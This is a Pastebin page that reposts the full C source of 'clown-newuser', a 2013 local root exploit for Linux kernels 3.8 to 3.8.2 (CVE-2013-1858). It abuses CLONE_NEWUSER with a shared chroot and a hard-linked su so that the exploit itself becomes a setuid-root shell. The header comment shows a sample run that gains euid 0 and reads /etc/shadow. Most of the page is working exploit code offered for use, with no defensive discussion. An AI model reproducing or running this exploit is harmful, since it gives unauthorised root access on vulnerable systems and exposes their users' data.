Advertisement
Spider64

2013-1858 Linux kernel root exploit 3.8 — 3.8.2

Sep 19th, 2013
231
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.42 KB | None | 0 0
  1. /* clown-newuser.c -- CLONE_NEWUSER kernel root PoC
  2. *
  3. * Dedicated to: Locke Locke Locke Locke Locke Locke Locke!
  4. *
  5. * This exploit was made on the 13.3.13.
  6. *
  7. * (C) 2013 Sebastian Krahmer
  8. *
  9. * We are so 90's, but we do 2013 xSports.
  10. *
  11. * Must be compiled static:
  12. *
  13. * stealth@linux-czfh:~> cc -Wall clown-newuser.c -static
  14. * stealth@linux-czfh:~> ./a.out
  15. * [**] clown-newuser -- CLONE_NEWUSER local root (C) 2013 Sebastian Krahmer
  16. *
  17. * [+] Found myself: '/home/stealth/a.out'
  18. *[*] Parent waiting for boomsh to appear ...
  19. *[*] Setting up chroot ...
  20. * [+] Done.
  21. *[*] Cloning evil child ...
  22. * [+] Done.
  23. *[*] Creating UID mapping ...
  24. * [+] Done.
  25. * [+] Yay! euid=0 uid=1000
  26. * linux-czfh:/home/stealth # grep bin /etc/shadow
  27. * bin:*:15288::::::
  28. * linux-czfh:/home/stealth #
  29. *
  30. */
  31. #define _GNU_SOURCE
  32. #include <sched.h>
  33. #include <stdio.h>
  34. #include <stdlib.h>
  35. #include <unistd.h>
  36. #include <fcntl.h>
  37. #include <string.h>
  38. #include <errno.h>
  39. #include <sys/stat.h>
  40. #include <sys/types.h>
  41. #include <sys/wait.h>
  42.  
  43.  
  44. int go[2];
  45. char child_stack[1<<20];
  46. extern char **environ;
  47.  
  48.  
  49. void die(const char *msg)
  50. {
  51. perror(msg);
  52. exit(errno);
  53. }
  54.  
  55.  
  56. int child(void *arg)
  57. {
  58. char c;
  59.  
  60. close(go[1]);
  61. read(go[0], &c, 1);
  62.  
  63. setuid(0);
  64.  
  65. /* this will also affect the parent, but the parent
  66. * has the init_user_ns, so it will start suid with real uid 0.
  67. */
  68. if (chdir("chroot") < 0)
  69. die("[-] chdir");
  70. if (chroot(".") < 0)
  71. die("[-] chroot");
  72.  
  73. return 0;
  74. }
  75.  
  76.  
  77.  
  78. int setup_chroot(const char *me)
  79. {
  80. mkdir("chroot", 0755);
  81. mkdir("chroot/lib64", 0755);
  82. mkdir("chroot/bin", 0755);
  83.  
  84. if (link(me, "chroot/lib64/ld-linux-x86-64.so.2") < 0)
  85. die("[-] link");
  86. if (link("/bin/su", "chroot/bin/su") < 0)
  87. die("[-] link");
  88. return 0;
  89. }
  90.  
  91.  
  92. int main(int argc, char *argv[])
  93. {
  94. char *su[] = {"/bin/su", NULL};
  95. char *sh[] = {"/bin/bash", NULL};
  96. char me[256], *mee[] = {me, "1", NULL};
  97. char uidmap[128], map_file[128];
  98. pid_t pid;
  99. struct stat st;
  100. int fd;
  101.  
  102.  
  103. if (geteuid() == 0 && argc == 1) {
  104. /* this will run inside chroot, started as the ld.so from
  105. * su process
  106. */
  107. printf("[+] Yay! euid=%d uid=%d\n", geteuid(), getuid());
  108. chown("lib64/ld-linux-x86-64.so.2", 0, 0);
  109. chmod("lib64/ld-linux-x86-64.so.2", 04755);
  110. exit(0);
  111. } else if (geteuid() == 0) {
  112. /* this will run outside */
  113. setuid(0);
  114. execve(*sh, sh, environ);
  115. die("[-] execve");
  116. }
  117.  
  118. printf("[**] clown-newuser -- CLONE_NEWUSER local root (C) 2013 Sebastian Krahmer\n\n");
  119.  
  120. memset(me, 0, sizeof(me));
  121. readlink("/proc/self/exe", me, sizeof(me) - 1);
  122. printf("[+] Found myself: '%s'\n", me);
  123.  
  124. if (fork() > 0) {
  125. printf("[*] Parent waiting for boomsh to appear ...\n");
  126. for (;;) {
  127. stat(me, &st);
  128. if (st.st_uid == 0)
  129. break;
  130. usleep(1000);
  131. }
  132. execve(me, mee, environ);
  133. die("[-] execve");
  134. }
  135.  
  136. printf("[*] Setting up chroot ...\n");
  137. setup_chroot(me);
  138. printf("[+] Done.\n[*] Cloning evil child ...\n");
  139.  
  140. if (pipe(go) < 0)
  141. die("[-] pipe");
  142.  
  143. pid = clone(child, child_stack + sizeof(child_stack),
  144. CLONE_NEWUSER|CLONE_FS|SIGCHLD, NULL);
  145. if (pid == -1)
  146. die("[-] clone");
  147.  
  148. printf("[+] Done.\n[*] Creating UID mapping ...\n");
  149.  
  150. snprintf(map_file, sizeof(map_file), "/proc/%d/uid_map", pid);
  151. if ((fd = open(map_file, O_RDWR)) < 0)
  152. die("[-] open");
  153. snprintf(uidmap, sizeof(uidmap), "0 %d 1\n", getuid());
  154. if (write(fd, uidmap, strlen(uidmap)) < 0)
  155. die("[-] write");
  156. close(fd);
  157. printf("[+] Done.\n");
  158.  
  159. close(go[0]);
  160. write(go[1], "X", 1);
  161.  
  162. waitpid(pid, NULL, 0);
  163. execve(*su, su, NULL);
  164. die("[-] execve");
  165. return -1;
  166. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement